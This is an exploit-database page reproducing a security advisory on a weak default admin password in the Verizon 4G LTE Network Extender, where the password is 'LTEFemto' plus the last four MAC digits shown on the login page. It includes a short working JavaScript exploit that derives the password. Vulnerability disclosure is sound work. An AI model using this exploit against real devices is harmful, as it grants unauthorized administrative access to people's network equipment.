Exploitalert - Database of Exploits

Verizon 4G LTE Network Extender 0.4.038.2131 Weak Credential Algorithm

CVE	Category	Price	Severity
N/A	CWE-XX	N/A	High

Author	Risk	Exploitation Type	Date
Unknown	High	Remote	2022-04-13

CVSS	EPSS	EPSSP
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H	0.4	0.038

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	None	PR	The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

https://cxsecurity.com/ascii/WLB-2022040047

Verizon 4G LTE Network Extender 0.4.038.2131 Weak Credential Algorithm

Verizon 4G LTE Network Extender Weak Credentials Algorithm Vendor: Verizon Communications Inc. Product web page: https://www.verizon.com Affected version: GA4.38 - V0.4.038.2131 Summary: An LTE Network Extender enhances your indoor and 4G LTE data and voice coverage to provide better service for your 4G LTE mobile devices. It's an extension of our 4G LTE network that's placed directly in your home or office. The LTE Network Extender works with all Verizon-sold 4G LTE mobile devices for 4G LTE data service and HD Voice-capable 4G LTE devices for voice service. This easy-to-install device operates like a miniature cell tower that plugs into your existing high-speed broadband connection to communicate with the Verizon wireless network. Desc: Verizon's 4G LTE Network Extender is utilising a weak default admin password generation algorithm. The password is generated using the last 4 values from device's MAC address which is disclosed on the main webUI login page to an unauthenticated attacker. The values are then concatenated with the string 'LTEFemto' resulting in something like 'LTEFemtoD080' as the default Admin password. Tested on: lighttpd-web Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2022-5701 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5701.php 17.02.2022 -- snippet:///Exploit // // Verizon 4G LTE Network Extender Super Awesome JS Exploit // console.log("Calling 'isDefaultPassword' API"); let req = new Request("/webapi/isDefaultPassword"); let def = req.url; const doAjax = async () => { const resp = await fetch(def); if (resp.ok) { const jsonyo = await resp.json(); return Promise.resolve(jsonyo); } else { return Promise.reject("Smth not rite captain!"); } } doAjax().then(console.log).catch(console.log); await new Promise(t => setTimeout(t, 1337)); console.log("Verizon Admin Password: "); let mac = document.querySelector("#mac_address").innerHTML; console.log("LTEFemto" + mac.substr(-4));

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